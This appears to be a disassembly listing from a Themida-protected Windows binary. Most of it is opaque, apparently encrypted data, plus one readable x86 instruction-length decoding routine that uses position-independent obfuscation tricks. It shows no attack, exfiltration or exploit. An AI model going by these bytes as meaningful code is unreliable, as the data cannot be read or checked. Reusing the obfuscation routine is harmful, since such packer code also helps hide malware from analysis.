dd 4 dup(0)
dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h
dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h
dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
dd 0
dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h
dd 88888808h, 88h, 0
dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h
dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0
dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
dd 100h, 14h dup(0)
dd 6380C300h, 7577EDh, 100h, 11h dup(0)
dd 353E900h, 0E8550000h, 0
aBajpEO db ']│М├▐:',9,'`г┘с▌:',9,0
align 4
dd 81660000h, 0FA1663Eh, 0F85h, 0D785C700h, 6093A8Eh, 0E9000000h
dd 24h, 8EDB858Dh, 8D50093Ah, 3A8F2B85h, 6A565009h, 1DE800h
dd 0C4830000h, 0FF2510h, 85890000h, 93A8ED7h, 0D7B50361h
dd 8B093A8Eh, 3A8ED385h
db 9, 5Dh, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_5975E0
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_5975EC
; ---------------------------------------------------------------------------
loc_5975E0: ; CODE XREF: Themida_:005975C9j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_5975EC: ; CODE XREF: Themida_:005975DBj
push ebx
push esi
push edi
loc_5975EF: ; CODE XREF: Themida_:00597644j
; Themida_:00597660j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_597602: ; CODE XREF: Themida_:00597629j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 93A903Dh
lea ebp, [ebp+93A8EB3h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_59762F
inc cl
cmp cl, 0Bh
jb loc_597602
loc_59762F: ; CODE XREF: Themida_:0059761Ej
cmp cl, 0Bh
jz loc_59768C
cmp al, 66h
jnz loc_59766D
cmp byte ptr [ebp-5], 0
jnz loc_5975EF
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_597665
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_5975EF
; ---------------------------------------------------------------------------
loc_597665: ; CODE XREF: Themida_:00597652j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_59766D: ; CODE XREF: Themida_:0059763Aj
cmp al, 67h
jnz loc_5975EF
cmp byte ptr [ebp-6], 0
jnz loc_5975EF
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_5975EF
; ---------------------------------------------------------------------------
loc_59768C: ; CODE XREF: Themida_:00597632j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5976B8
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5976BD
; ---------------------------------------------------------------------------
loc_5976B8: ; CODE XREF: Themida_:00597697j
movzx edi, al
shr edi, 1
loc_5976BD: ; CODE XREF: Themida_:005976B3j
push ebp
call $+5
pop ebp
sub ebp, 93A90F5h
lea ebp, [ebp+93A8DB3h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_59783F
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_597783
dec ecx
jz loc_597766
dec ecx
jnz loc_5977D6
cmp byte ptr [ebp-2], 0
jnz loc_5977D2
cmp byte ptr [ebp-5], 0
jz loc_597745
mov byte ptr [ebp+0Bh], 2
loc_597745: ; CODE XREF: Themida_:0059773Bj
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 93A9181h
mov dword ptr [ebp+93A8ED3h], 1
pop ebp
jmp loc_5977D6
; ---------------------------------------------------------------------------
loc_597766: ; CODE XREF: Themida_:00597720j
cmp byte ptr [ebp-2], 0
jnz loc_5977B0
cmp byte ptr [ebp-5], 0
jz loc_5977B0
mov byte ptr [ebp+0Bh], 2
jmp loc_5977B0
; ---------------------------------------------------------------------------
loc_597783: ; CODE XREF: Themida_:00597719j
cmp byte ptr [ebp-2], 0
jnz loc_5977C9
cmp byte ptr [ebp-5], 0
jz loc_5977B8
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5977B0
mov [ebp+0Bh], cl
loc_5977B0: ; CODE XREF: Themida_:0059776Aj
; Themida_:00597774j ...
inc byte ptr [ebp+0Bh]
jmp loc_5977D6
; ---------------------------------------------------------------------------
loc_5977B8: ; CODE XREF: Themida_:00597791j
cmp dl, 5
jnz loc_5977D6
mov [ebp+0Bh], dl
jmp loc_5977D6
; ---------------------------------------------------------------------------
loc_5977C9: ; CODE XREF: Themida_:00597787j
cmp dl, 6
jnz loc_5977D6
loc_5977D2: ; CODE XREF: Themida_:00597731j
mov byte ptr [ebp+0Bh], 3
loc_5977D6: ; CODE XREF: Themida_:00597727j
; Themida_:00597761j ...
dec byte ptr [ebp+0Bh]
jz loc_597804
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_5977E6: ; CODE XREF: Themida_:005977FCj
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5977E6
mov esi, edx
loc_597804: ; CODE XREF: Themida_:005977D9j
and al, 0FEh
cmp al, 0F6h
jnz loc_597839
cmp edi, 7Fh
ja loc_597839
test bl, 38h
jnz loc_597839
cmp byte ptr [ebp-7], 0
jz loc_597833
movzx eax, byte ptr [ebp-4]
jmp loc_597836
; ---------------------------------------------------------------------------
loc_597833: ; CODE XREF: Themida_:00597824j
push 1
pop eax
loc_597836: ; CODE XREF: Themida_:0059782Ej
mov [ebp-1], al
loc_597839: ; CODE XREF: Themida_:00597808j
; Themida_:00597811j ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_59783F: ; CODE XREF: Themida_:005976E9j
mov al, bl
and eax, 7
sub eax, 4
jz loc_59786A
dec eax
dec eax
jz loc_597860
and bl, 7
add [ebp-1], bl
jmp loc_597872
; ---------------------------------------------------------------------------
loc_597860: ; CODE XREF: Themida_:0059784Fj
mov al, [ebp-3]
add al, 6
jmp loc_59786F
; ---------------------------------------------------------------------------
loc_59786A: ; CODE XREF: Themida_:00597847j
mov al, [ebp-3]
add al, 4
loc_59786F: ; CODE XREF: Themida_:00597865j
add [ebp-1], al
loc_597872: ; CODE XREF: Themida_:0059785Bj
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_59789A
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_597885: ; CODE XREF: Themida_:00597894j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_597885
loc_59789A: ; CODE XREF: Themida_:0059787Aj
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
aLNniuJ db '▀п██┬⌠:',9,'j',0
db 52h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0DD0F970Dh, 358D893Ch, 89093527h, 3516298Dh, 8D315709h
dd 9352BBDh, 7D85C75Eh, 58093528h, 0C700005Ah, 35225585h
dd 9, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 29F0B9F1h, 3530259Dh, 69B5FF09h
dd 8009350Ah, 95FF4AE0h, 9350D05h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0C1C35343h, 0FD5F45C5h, 81660DF9h
dd 0AD378CF0h, 6AF78B24h, 2995FF00h, 8B093508h, 2819EBC0h
dd 0E6AA9F0Dh, 3380AE1Bh, 12AD67D9h, 0B6A0A626h, 0FB9A9C0Ch
dd 7B281875h, 15CE9h, 0EE1F6F00h, 0F64BEBF0h, 0E458A496h
dd 0EF56B10Ah, 0EC56BD53h, 0E758310Ah, 0CC71CE53h, 9E24263Ah
dd 0BE257753h, 0A7953C4h, 0D9B68860h, 0A815E552h, 0A815D253h
dd 0A8147D53h, 0A814BA53h, 0A8145F53h, 0A814AF53h, 0A814F853h
dd 0A814EB53h, 0A814FD53h, 0A814FA53h, 0DB6D2E53h, 0A879DB27h
dd 0C7660F73h, 0DB67CA30h, 0A814D70Eh, 0A814EB53h, 0A814F553h
dd 0A814FA53h, 0A8147D53h, 0A814BE53h, 0A8145F53h, 0A814AF53h
dd 0A814D753h, 0A814EB53h, 0A814F553h, 0A814FA53h, 0A8147D53h
dd 0A814BE53h, 0A8145F53h, 0A814AF53h, 0A814D753h, 0A814EB53h
dd 0A814F553h, 0A814FA53h, 0A8147D53h, 0A814BE53h, 0A8145F53h
dd 0A814AF53h, 0A814D753h, 0A814EB53h, 0A814F553h, 0A814FA53h
dd 0A8147D53h, 0A814BE53h, 0A8145F53h, 0A814AF53h, 0A814D753h
dd 0A814EB53h, 0A814F553h, 0A814FA53h, 0A8147D53h, 0A814BE53h
dd 0A8145F53h, 0A814AF53h, 0A814D753h, 0A814EB53h, 0A814F553h
dd 0A814FA53h, 0A8147D53h, 0A814BE53h, 0A8145F53h, 0A814AF53h
dd 0A814D753h, 0A814EB53h, 0A814F553h, 0A814FA53h, 0A8147D53h
dd 0A814BE53h, 0A8145F53h, 0A814AF53h, 0A814D753h, 0A814EB53h
dd 0A814F553h, 0A814FA53h, 0A8147D53h, 5D5B2353h, 16BDE971h
dd 0DD680000h, 0E9093A96h, 0FFFBB090h, 3A97D468h, 0B086E909h
dd 9B68FFFBh, 0E9093A98h, 0FFFBB07Ch, 3A999168h, 0B072E909h
dd 1768FFFBh, 0E9093A9Bh, 0FFFBB068h, 3A9C9368h, 0B05EE909h
dd 0BF68FFFBh, 0E9093A9Dh, 0FFFBB054h, 3A9E5268h, 0B04AE909h
dd 7B68FFFBh, 0E9093AA0h, 0FFFBB040h, 3AA15F68h, 0B036E909h
dd 2D68FFFBh, 0E9093AA2h, 0FFFBB02Ch, 3AA2EB68h, 0B022E909h
dd 5568FFFBh, 0E9093AA4h, 0FFFBB018h, 3AA9A368h, 0B00EE909h
dd 8368FFFBh, 0E9093AAAh, 0FFFBB004h, 0ECB1A12Ch, 5647379Bh
dd 0EDBEA029h, 5C413D92h, 0E5B6A42Bh, 0C50C600Fh, 57778895h
dd 0C309F627h, 4375929Bh, 0ED1AFA23h, 88157E68h, 4AEDDCFh
dd 435A1ACEh, 0C7D49440h, 6CED2FF8h, 9462F26Bh, 3A9BEC3Ah
dd 0CF836D45h, 8C4D7710h, 14821444h, 34E139E3h, 811309F5h
dd 0ACDDB2h, 428E3EB6h, 0A21F124Ch, 0CF83053Ch, 2458B726h
dd 0F9B1727Fh, 2F66h, 1D0EEC00h, 7026567Eh, 0B199FE87h
dd 7CACCF82h, 0B0EEF4A1h, 0CF03CF82h, 7E53908Fh, 95FA0D00h
dd 0EB521406h, 0C38B38ACh, 0D15AF9B1h, 0A0000000h, 435A1ACEh
dd 0A8D18940h, 0D5E777F4h, 46CF755Ch, 0C64E1FDCh, 44FFA97Fh
dd 0C0A0144Fh, 4E2E9ACDh, 23FDB05Dh, 0FB0CC64Eh, 1276A9C9h
dd 0C0A0141Fh, 0B10AC0B7h, 0FFB2641Ah, 0FB7B6D9Ah, 7BF55E0Eh
dd 1CD12683h, 2CBE597Ah, 9B89360h, 424A9196h, 9984435h
dd 39F50B24h, 964BCA79h, 0BDCF832Eh, 3247426Bh, 832951D3h
dd 0DF1602CFh, 0F3C073EBh, 72D32424h, 0D8BADDA4h, 272069BFh
dd 1FCDBAA0h, 0ED9A4860h, 0FD645FA9h, 6B93CB02h, 7563163Eh
dd 493210EBh, 0F1000014h, 8C7BA0DEh, 0FA051646h, 7F80ADD1h
dd 0FC0B104Eh, 0FC78A5D5h, 0A8D6FD51h, 0A4A8483h, 6EEEE621h
dd 0D696423Dh, 3B9AC7C5h, 0CF8816A9h, 0CE59E1AAh, 39465707h
dd 34BEEF8Fh, 0EA1F1D0Eh, 82B0EE6Bh, 0E61305CFh, 70F0E4D3h
dd 988A0B9Dh, 0BBCF82B0h, 0CCB01A6Dh, 0EDF3A2F5h, 75CF82B0h
dd 0AC538B0Ah, 2BF9B1C3h, 0ECE15A81h, 0C57C381Ch, 0BEC6h
dd 0DB119B00h, 0AA5B4BFFh, 0CE06A093h, 97DD1E1Ah, 3A04B1Bh
dd 0D9BDBF4h, 95C50BFCh, 2CC0A99Eh, 612E9EAEh, 7300B37Ah
dd 92FF1E5Ch, 0C64E4957h, 0F3B8B82Ch, 4D402094h, 829E901Ch
dd 0ECB57886h, 3B41AAD5h, 0EB93394Eh, 0BBE86DD8h, 1ACF82C3h
dd 0C70EF90Eh, 0AB59C97h, 9982DF21h, 4B0745F8h, 0DA29ACDDh
dd 19D8BA8Eh, 7B90A793h, 3BE2BD0h, 4E394EDAh, 0B9C6D787h
dd 0FB206C12h, 0A6756347h, 1352EFD3h, 0D7FA0000h, 418976A7h
dd 0DAEF101Dh, 478877A4h, 0D2F90617h, 5AF57FACh, 9E8FCF06h
dd 2CF16D61h, 9885F5DBh, 30FD7D67h, 9092F3DCh, 0C3CF8817h
dd 7CE3EB8h, 8F394657h, 0CE34BEEFh, 0E8011E1Ah, 5D0029F7h
dd 258FD4CBh, 0A2275845h, 0B321CBBCh, 0F3F15336h, 8681D6EDh
dd 37E51252h, 0DDC71503h, 733A090Ch, 66B578A4h, 11281166h
dd 4DC232B4h, 3CF721C6h, 82D9FCBDh, 0BF998FCFh, 0D06C956h
dd 7B816AC7h, 452078Eh, 0B761CE42h, 0C0FCEBD8h, 0E262B862h
dd 25ABDA8Ch, 58CE5A35h, 0A62F1A2Fh, 0BDD7C33Ch, 0DB3A091Fh
dd 0C7103EB5h, 4A3D4ADEh, 0B4CDDE9Eh, 3E5111C3h, 786CD7EAh
dd 258114F8h, 95688BD3h, 128BB1h, 0DA983300h, 601CB6D1h
dd 0D7874C3Bh, 6A14B9C6h, 0CF8F4641h, 237716DEh, 827DAEACh
dd 0FC0B104Ch, 8877A4D4h, 0FD0F1C5Ch, 186F71D4h, 97E4CF88h
dd 5A1ACE1Fh, 0CE374243h, 0C64D8054h, 392E28A5h, 40A7D4EFh
dd 4DC64F38h, 70CF8283h, 0A196F3B8h, 0CC583737h, 6197971Eh
dd 863D2285h, 70AFCFF9h, 1F018475h, 0D2CF8336h, 40D881FDh
dd 36D54671h, 67C1DC98h, 0AA3DC8B1h, 59D8BDC9h, 0A6FBE570h
dd 9500C65Ch, 0C65CA68Bh, 998F58D0h, 0E029FFAAh, 0B07DFDE7h
dd 0F405654Fh, 0A6A68005h, 63B5C65Ch, 0DF48FB50h, 6225B0D9h
dd 0F1CF973Ah, 5EE7D227h, 0CF833584h, 0CD3841D7h, 0CF833553h
dd 18211008h, 0C4B5B51Fh, 3F5E1CB3h, 433B92E5h, 0A409B84Ch
dd 4785265h, 0D696422Dh, 1D1B0CB7h, 0FEEADDECh, 2E059F7Eh
dd 0B840AECFh, 236BBDD8h, 7561A3C8h, 9528BEE1h, 3D000011h
dd 0C8B7E492h, 36515A02h, 0CBBCE19Dh, 38475402h, 38C4E991h
dd 0DC82499Dh, 5E1EB0CFh, 0E29A324Dh, 5A1ACEB9h, 0AF164351h
dd 0CF881935h, 0CEDD5526h, 0D34DB807h, 88C64D80h, 2A150690h
dd 47CEBBC1h, 0CF82AA2Eh, 0BFC4DB4Dh, 0DC1B615h, 29EA3E51h
dd 0CF82A9B7h, 31A2509Ch, 0B361C902h, 9DEAB365h, 0AE3E4B2Bh
dd 2B53FA85h, 8B00B317h, 9FAA4F98h, 82FDAC36h, 1C79AFCFh
dd 0CF82FE0Ah, 0E6963E49h, 5DCB5DA7h, 0C5B51B2Ch, 8D0283EEh
dd 0A8D8B82Ch, 13728770h, 0C64DD411h, 0D38163E2h, 46D2C64Dh
dd 0D7AC8791h, 1EB5C2C3h, 0E8DB2D60h, 0D0E7B4E3h, 0B8C37EFEh
dd 803F6C0Ch, 51689197h, 0D403DD68h, 0C058C64Dh, 0FD6314F1h
dd 2512CF82h, 0D702B1ADh, 0C4413841h, 0CF82FA62h, 370C27F1h
dd 0C5D8984Ch, 6D615623h, 0B78A1EF1h, 0A576C554h, 42F352A7h
dd 31D8B824h, 0BED18D46h, 0DA4E576Ah, 6202B6D1h, 0E358C62Bh
dd 56B9C64Dh, 0E08034C7h, 5818CCBBh, 93998245h, 0C576DF66h
dd 9385CF82h, 778E0D8Ah, 0FBC207B0h, 1276A9C9h, 60E51284h
dd 0D8BD5655h, 0A3D274A4h, 0F0D92E2Ch, 5D517B65h, 7948E0C6h
dd 51716F26h, 57C0C65Dh, 0F29D2851h
dd 21CF97E4h, 0C233AD18h, 3DC8CF82h, 0CF82C2E3h, 61B7A078h
dd 56954752h, 0FB7B53C7h, 0E4A6BE71h, 86324532h, 1ECAB5E6h
dd 8D443F5Eh, 8678C1CDh, 56297C54h, 100F70h, 6614B700h
dd 0DC804A35h, 631BB0CFh, 0D6804D3Ah, 6B13BAC5h, 0C71BBA42h
dd 36515A00h, 0B0CFDC98h, 4C3B6018h, 0C1D3D898h, 1BB32D98h
dd 0D3A8CF88h, 5707CE5Bh, 0EF8F3946h, 0D727B5B0h, 3420AE8Ch
dd 0E21DCF59h, 0DE69584Ah, 6841EBEAh, 0F1235ED6h, 7DF2F491h
dd 1661C64Eh, 2154C2A2h, 4FD9B4AAh, 3097B0D9h, 2B1534Ah
dd 86157A8Dh, 7CA1C1F3h, 840E39E6h, 7D0E9EF0h, 0D5EF9BDAh
dd 0CBE3645Fh, 6B000001h, 435A1ACEh, 0C7D49440h, 0E0292FF8h
dd 9877E7E7h, 7EDB26D0h, 1680DFF4h, 0CEB3121Bh, 85CF8396h
dd 67516693h, 0C57C0807h, 56BD23D2h, 8034CF83h, 43D5953Fh
dd 0C7B7174Ch, 0AE389DC8h, 0ADCF8356h, 0A9E8A37Bh, 1B8DF1DAh
dd 2BA3F25Dh, 0F9B12184h, 3D4Dh, 1D0E9500h, 0EE6BEA1Fh
dd 5CF82B0h, 8795FC13h, 6ACF82B0h, 0E522FD61h, 0FE9D70EEh
dd 5E180A89h, 0EBF56069h, 70CF82B0h, 970609B8h, 0B1C3B05Fh
dd 0D121F9h, 3F380000h, 6EBAD595h, 1ACE5B53h, 8940435Ah
dd 0BCCBBED1h, 0DF4C6717h, 6F9A75F5h, 3A097158h, 0D2DB9B4Dh
dd 520AC0B7h, 8547625Fh, 493EC64Dh, 64C0DF9Fh, 76F6E24Dh
dd 0E86D5CA5h, 0C64D84FEh, 16BCCB5Dh, 0E6DD2766h, 21A95299h
dd 0A99EEB3Dh, 0C6623D21h, 0C20382EBh, 0D1CF8536h, 8E453247h
dd 15BCCBD0h, 0A8DA1965h, 0B4C77C56h, 0E930Eh, 0E2903B00h
dd 5804CEB9h, 0DF9F3453h, 621CB1CEh, 0D7874E39h, 2B7F2EC6h
dd 9AE5B6A4h, 24634834h, 807FACACh, 5071454h, 1C6779DCh
dd 9FECCF88h, 13B7D017h, 2DB71E6Bh, 2EC64D80h, 953C47FAh
dd 20A594E5h, 0C64D80C6h, 0F768395h, 0C64D8115h, 7ADFD246h
dd 0EE1B5B8Dh, 80687ADBh, 3DEBC64Dh, 0CE531F86h, 1A2D5A1Ah
dd 97D2CDB1h, 4D80B42Eh, 2771A7C6h, 394E370Ch, 50B4EB93h
dd 0E1E2D661h, 0A9E71EDh, 808E98FDh, 5BCDC64Dh, 359FE0CDh
dd 3529A196h, 0DB45CE5Ah, 80C64D80h, 241FFEA8h, 0B3C4B5B3h
dd 0DD685B1Bh, 8284E378h, 28A592CFh, 6A7CD92Eh, 0E9CF8284h
dd 0CF59843Fh, 7CF00DEh, 82770000h, 0ED205E75h, 84E8FA9Bh
dd 0BD6BCF82h, 1CD0EC06h, 5E09FBF3h, 121D14DDh, 25CCC3BBh
dd 0C64DB1B7h, 5EABB17Ah, 8845A4F7h, 1465B3CFh, 0C8B1B123h
dd 29641AAFh, 224BD540h, 1810CF88h, 91EEB38Eh, 47324727h
dd 882264BEh, 382F7CFh, 0CF882321h, 8130E632h, 0E2ECDB0Eh
dd 1DB4BF72h, 0BF3C315Dh, 8A757C5Bh, 0D67BCh, 0BEBC0F00h
dd 443892EDh, 0BBA32857h, 3E3895F2h, 0C3BB126Dh, 1F7322DAh
dd 9EE9B2A8h, 28574430h, 94F3B8A0h, 395B4020h, 1D5BC550h
dd 8B00CF88h, 5707CEE3h, 0EF8F3946h, 3A24AD9Ah, 0E5CF1487h
dd 127D8A85h, 0A4C4F083h, 567D8A77h, 0DA891928h, 0BF084F3h
dd 0Dh, 8B005C53h, 0FED6C64Dh, 0FFFFFD78h, 80C65CE6h, 7C6BC64Dh
dd 0D70A8B7Ch, 0FECF8814h, 0E2EADD2Ah, 3201A37Ah, 0E4843047h
dd 5C1CC8B7h, 0CF8F4641h, 5B8E84BFh, 54F20D7Ch, 0CD4h
dd 0FC21517Ch, 8697C70Bh, 0FD2E5079h, 8C91CD02h, 0F526547Bh
dd 557CD07Fh, 0C707F825h, 53798697h, 0D305022Bh, 5D8A8A93h
dd 881EEEF8h, 941E6DCFh, 2D5A1ACEh, 0BE3D7C7Fh, 560470F0h
dd 8E39914Fh, 0DAAD8413h, 643B3BADh, 0CE5DBC3Fh, 91515A1Ah
dd 0F08442E2h, 1CF3h, 0B7D07B00h, 0DC286717h, 80B82AABh
dd 8D9BC64Dh, 8B0357B6h, 3D3C64Dh, 0FFFFFCD4h, 1F1D0EE3h
dd 9C8E6BEAh, 33E5CF82h, 9C28B55Ch, 5C9CF82h, 8B414659h
dd 4CC9BCD3h, 0CF829CDAh, 0FC6FAF79h, 66C9AF9Dh, 0F2536637h
dd 0CF829CF0h, 0CCFEB563h, 0F9B1EB27h, 1D4AEh, 0F65C3400h
dd 3BC64D80h, 379EE989h, 6ABC4847h, 1ACEB9AAh, 0E8DC675Ah
dd 0B666A388h, 0D55ED96Ah, 57E4DFA6h, 70FC0D6Dh, 0DB97CABh
dd 592E053Bh, 4DDC8EBCh, 0E3897AC6h, 0BAA295E0h, 5B738220h
dd 91A0041Bh, 0A81CEF2Eh, 6FB9A127h, 9795813Eh, 0FF7F5562h
dd 0DAAD8420h, 723B3BADh, 0FA82017h, 3669BFBFh, 31E78731h
dd 0A3C3F582h, 9887056Ch, 9E4AC64Dh, 0DC4BFDEh, 1B82524Dh
dd 0C528CEFCh, 0E0711E56h, 4A60F084h, 0E6000001h, 6717B7D0h
dd 8031B312h, 0F622C64Dh, 0E484303Bh, 6A0ABEA9h, 97958641h
dd 0B0C55762h, 47ECFE7Fh, 675CB988h, 2ECF8348h, 130A7459h
dd 89E82771h, 0CF830793h, 0BD3160CFh, 0F9B17016h, 39BFh
dd 1D0E0700h, 0EADFEA1Fh, 4D80796Bh, 734EDAC6h, 82B10196h
dd 0AC3B4CFh, 0BC6C754Ch, 0B0AE34E1h, 49B4CF82h, 0C3ED92CAh
dd 0DFEAF9B1h, 82A46C76h, 8A39EFCFh, 0BF09h, 1ACE5100h
dd 8940435Ah, 1FC9BED1h, 0F9822A5Fh, 53BC4796h, 3F44172Ah
dd 88413695h, 5EB32DD6h, 70A8C64Eh, 0DD98F526h, 9CC64E76h
dd 0DD86FFADh, 67A02B4h, 4E27A37Dh, 5160B8C6h, 0A972F2E6h
dd 0F7676760h, 0AB58C18h, 67EE1B21h, 0CF85D91Eh, 0A99EEB3Dh
dd 3E4B3C22h, 84964DD7h, 271A0ECFh, 2F8E4542h, 5EAAE585h
dd 0B95C4C8h, 0E9147C56h, 0AAB5Dh, 0FA785300h, 80FCD631h
dd 0F7676C9Bh, 8AF4D926h, 0EF6F66A1h, 439736BEh, 0A2DDCE8Ch
dd 1C6B302Ch, 0A8D7C4B4h, 1D6F3C3Ch, 204FD134h, 7704CF88h
dd 5707CEFFh, 4E8F3946h, 0DF9F3380h, 0B3CEDF49h, 514C0CC4h
dd 530BC0B7h, 0E1D9E83Ch, 435A1ACEh, 9D339440h, 84624BDDh
dd 44Dh, 71E5E64h, 66EF1820h, 0CF88144Ch, 0E8DF79AFh, 67658FFh
dd 438A7D07h, 0F6A0041Bh, 5B01F801h, 6792F700h, 9690F5CCh
dd 0C5CF87E3h, 10616053h, 63D8BCEAh, 9684A014h, 0E7B59649h
dd 908F198Fh, 5CECFBE1h, 99F867C6h, 8B9BBE65h, 0A22A1DF0h
dd 8E8807BAh, 0CE000003h, 6A10B7D0h, 0E3E2D133h, 0C64D80FDh
dd 4D80AB82h, 58D25AC6h, 0EF8E481Bh, 0B3244F62h, 9C41C4B5h
dd 0B7CF830Fh, 93061D61h, 78A37C54h, 9C7EAh, 1E5C6F00h
dd 0A4D8F20Dh, 1B438877h, 9ED8F512h, 235B728Dh, 7FD382FAh
dd 0FE091248h, 8877A4D0h, 0F4131840h, 997BA0C0h, 21FBE570h
dd 2B60CF88h, 0BB1ACE83h, 4D80C85Ah, 0B9D8BC6h, 0C0C80F14h
dd 0B60A25B7h, 2A5942E4h, 63098223h, 0B78AF834h, 3CCBBCEh
dd 0D9E83C53h, 88F0BDFCh, 7CBBCCFh, 0D5EC3857h, 704F5CCCh
dd 0ED58A1A7h, 0D8C263CAh, 0E7D33B9h, 0CA90C800h, 2F46A6A6h
dd 5AAEE199h, 9DEA3E67h, 4F3824AAh, 0D9E89038h, 10430194h
dd 6C00C64Eh, 7B20A93Ch, 4F17C525h, 6C3BB4Fh, 0DD4B784Bh
dd 0C4B3CEDFh, 0B7514C0Ch, 60530BC0h, 0A47BFBD3h, 1AF5755Fh
dd 0C9BEBE2Dh, 82DAEB4Ch, 6E9E8ACFh, 7C544FD7h, 0F9A33F5Ah
dd 0A1000008h, 1C6B302Eh, 0AAD5C6B6h, 0F703D21h, 0ACDBC0BEh
dd 8C683525h, 18468DE1h, 9ADAF413h, 1E5E7691h, 0A6C6F20Dh
dd 0EB6A9775h, 0CF8822F9h, 0E89315Ah, 0DFEA1F1Dh, 80796BEAh
dd 4EDAC64Dh, 14639673h, 572CF88h, 2B7D90CEh, 537B8C7Dh
dd 141F0184h, 0E434CF88h, 0B01E6932h, 0A9A0C9C4h, 8813BA2Ch
dd 255399CFh, 977E7D1Fh, 0EC97AAFCh, 890CFDFBh, 0D8C2926Ah
dd 2BB52029h, 30C64E6Dh, 88A049F8h, 6C635495h, 0BE6B22B2h
dd 0A9C6158h, 9D9B8C37h, 0C954E96Ch, 2A1FCF82h, 74C2CC82h
dd 0C64FB839h, 0CF833B5Ch, 75E029FFh, 0CF833B6Bh, 608938F0h
dd 0A6BBC4C8h, 0BEE7C54h, 83B37h, 6AE8E300h, 0D08C4641h
dd 6717BCCBh, 0DA844936h, 5F1FB6D1h, 0B307A64Eh, 324D5E1Ch
dd 0CCBBE09Ch, 38475404h, 0CDBFEC8Ch, 22BF21A4h, 0E794CF88h
dd 5A1ACE4Fh, 27B91C2Dh, 0CAC64D80h, 0E6425D01h, 370C27F1h
dd 0C5D8984Ch, 3E510DC2h, 0C0DF9F49h, 88BAD924h, 0D0A3F29Dh
dd 0C39784E4h, 0F084F71Ch, 16CC5h, 0B7D00D00h, 5402CB12h
dd 8A39CBC2h, 5EABCBFDh, 2AED6ECEh, 0E81F740Dh, 1A37AE2h
dd 0BE2A5D32h, 9D2EDBEh, 328FF603h, 1CF8351h, 72DEBD5Bh
dd 82EC1113h, 4D642CFh, 132E843Ah, 127F9E8Ah, 0CF834F0Ch
dd 34A8E756h, 0F9B1398Fh, 4ED83D4Ch, 0DCF8346h, 3427281Bh
dd 0AF000000h, 0EA1F1D0Eh, 806C76DFh, 468DC64Dh, 0B6A30518h
dd 0C1A11362h, 0FE873ACEh, 82B10297h, 80711CFh, 82B07369h
dd 1180EFCFh, 0B1C336DDh, 0BB9FF9h, 0CE270000h, 40435A1Ah
dd 0C9BED189h, 953C231Fh, 7A2CCBC6h, 4E33091Bh, 48DE4AC6h
dd 16C6BFDEh, 72844C84h, 303BF6C3h, 0CAB7E484h, 5A6915BDh
dd 4E1CA07Bh, 0E36257C6h, 0C64E1D01h, 80EBC652h, 38071454h
dd 9F8348EFh, 0BDD3B427h, 987721B4h, 0E86D9A0Ch, 0CF861C9Fh
dd 0BA05C9BEh, 84DBC95Bh, 89E8ACFh, 0D4257315h, 3D6EECE3h
dd 0ABD38B42h, 7C5646F6h, 0D1FAC8B3h, 79000006h, 4032856h
dd 629D8ECEh, 0D728F569h, 64A388F6h, 34C0ED6Dh, 0D08E4599h
